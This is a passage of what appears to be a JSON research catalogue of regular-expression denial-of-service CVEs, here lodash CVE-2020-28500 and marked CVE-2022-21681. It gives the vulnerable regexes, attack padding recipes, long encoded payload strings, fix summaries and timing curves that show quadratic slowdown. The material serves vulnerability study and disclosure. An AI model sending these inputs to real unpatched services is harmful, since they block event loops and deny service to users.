hash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash","verification":{"engine":"node v22.23.1","benign_ms":0.22,"curve":[{"input_length":12500,"pumps":2500,"ms":55.99,"timed_out":false},{"input_length":25000,"pumps":5000,"ms":219.89,"timed_out":false},{"input_length":50000,"pumps":10000,"ms":886.11,"timed_out":false},{"input_length":100000,"pumps":20000,"ms":null,"timed_out":true}],"empirical_class":"quadratic","class_agrees":true}},{"id":"lodash-CVE-2020-28500","name":"lodash","type":"cve","cve":"CVE-2020-28500","ghsa":"GHSA-29mw-wpgm-hmr9","cwe":"CWE-1333","ecosystem":"npm","package":"lodash","affected":"<4.17.21","patched":"4.17.21","published":"2021-02-15","discovered_by":"Liyuan Chen","regex":"\\s+$","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":" ","suffix":"!"},"benign":"  hello  ","fix":{"type":"regex-rewrite","summary":"lodash's `trim`, `trimEnd` and `toNumber` stripped trailing whitespace with the regex /\\s+$/ (and reTrim /^\\s+|\\s+$/g). Because `$` is only reached after greedily consuming a whitespace run, a long run of whitespace followed by a non-whitespace char forces the engine to retry the `\\s+` match from every starting offset — O(n^2) scanning. The fix (4.17.21) removed the trailing-whitespace regex entirely and replaced it with `trimmedEndIndex`, a linear reverse index scan (`while (index-- && reWhitespace.test(string.charAt(index))) {}`).","commit":"https://github.com/lodash/lodash/pull/5065"},"description":"lodash is one of the most-depended-on packages in the npm ecosystem. Prior to 4.17.21 its `trim`, `trimEnd` and `toNumber` helpers used a trailing-whitespace regex; passing a string of many whitespace characters ending in a non-whitespace character (untrusted input reaching any of those functions) drives quadratic backtracking and blocks the event loop.","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28500","https://github.com/advisories/GHSA-29mw-wpgm-hmr9","https://github.com/lodash/lodash/pull/5065","https://snyk.io/vuln/SNYK-JS-LODASH-1018905"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5Cs%2B%24&in=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.06,"curve":[{"input_length":2501,"pumps":2500,"ms":6.09,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":24.74,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":96.54,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":387.66,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"marked-CVE-2022-21681","name":"marked","type":"cve","cve":"CVE-2022-21681","ghsa":"GHSA-5v2h-r2cx-5xgj","cwe":"CWE-1333","ecosystem":"npm","package":"marked","affected":"<4.0.10","patched":"4.0.10","published":"2022-01-14","discovered_by":"Wenzhuo Bill Zhang, Cornell University","regex":"!?\\[((?:\\[(?:\\\\.|[^\\[\\]\\\\])*\\]|\\\\.|`[^`]*`|[^\\[\\]\\\\`])*?)\\]\\[(?!\\s*\\])((?:\\\\[\\[\\]]?|[^\\[\\]\\\\])+)\\]|!?\\[(?!\\s*\\])((?:\\[[^\\[\\]]*\\]|\\\\[\\[\\]]|[^\\[\\]])*)\\](?:\\[\\])?(?!\\()","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"\\[","suffix":""},"benign":"[text][ref]","fix":{"type":"regex-rewrite","summary":"The reflink-search regex nests a lazy outer group over an alternation whose branches (an escaped char and a non-bracket run) both match a backslash-then-bracket sequence, so a long run of \\[ tokens can be partitioned across the group in quadratically many ways before the \\]\\[ tail fails to match. marked 4.0.10 bounds and simplifies the inline reflink/nolink search grammar.","commit":"https://github.com/markedjs/marked/commit/8f806573a3f6c6b7a39b8cdb66ab5ebb8d55a5f5"},"description":"marked is a widely-used Markdown parser and compiler. When marked parses attacker-supplied Markdown, the inline reflink-search grammar backtracks quadratically on a long run of escaped-bracket (\\[) sequences, stalling the event loop (a denial of service for any server that renders untrusted Markdown).","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-21681","https://github.com/advisories/GHSA-5v2h-r2cx-5xgj","https://github.com/markedjs/marked/security/advisories/GHSA-5v2h-r2cx-5xgj"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=!%3F%5C%5B((%3F%3A%5C%5B(%3F%3A%5C%5C.%7C%5B%5E%5C%5B%5C%5D%5C%5C%5D)*%5C%5D%7C%5C%5C.%7C%60%5B%5E%60%5D*%60%7C%5B%5E%5C%5B%5C%5D%5C%5C%60%5D)*%3F)%5C%5D%5C%5B(%3F!%5Cs*%5C%5D)((%3F%3A%5C%5C%5B%5C%5B%5C%5D%5D%3F%7C%5B%5E%5C%5B%5C%5D%5C%5C%5D)%2B)%5C%5D%7C!%3F%5C%5B(%3F!%5Cs*%5C%5D)((%3F%3A%5C%5B%5B%5E%5C%5B%5C%5D%5D*%5C%5D%7C%5C%5C%5B%5C%5B%5C%5D%5D%7C%5B%5E%5C%5B%5C%5D%5D)*)%5C%5D(%3F%3A%5C%5B%5C%5D)%3F(%3F!%5C()&in=%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B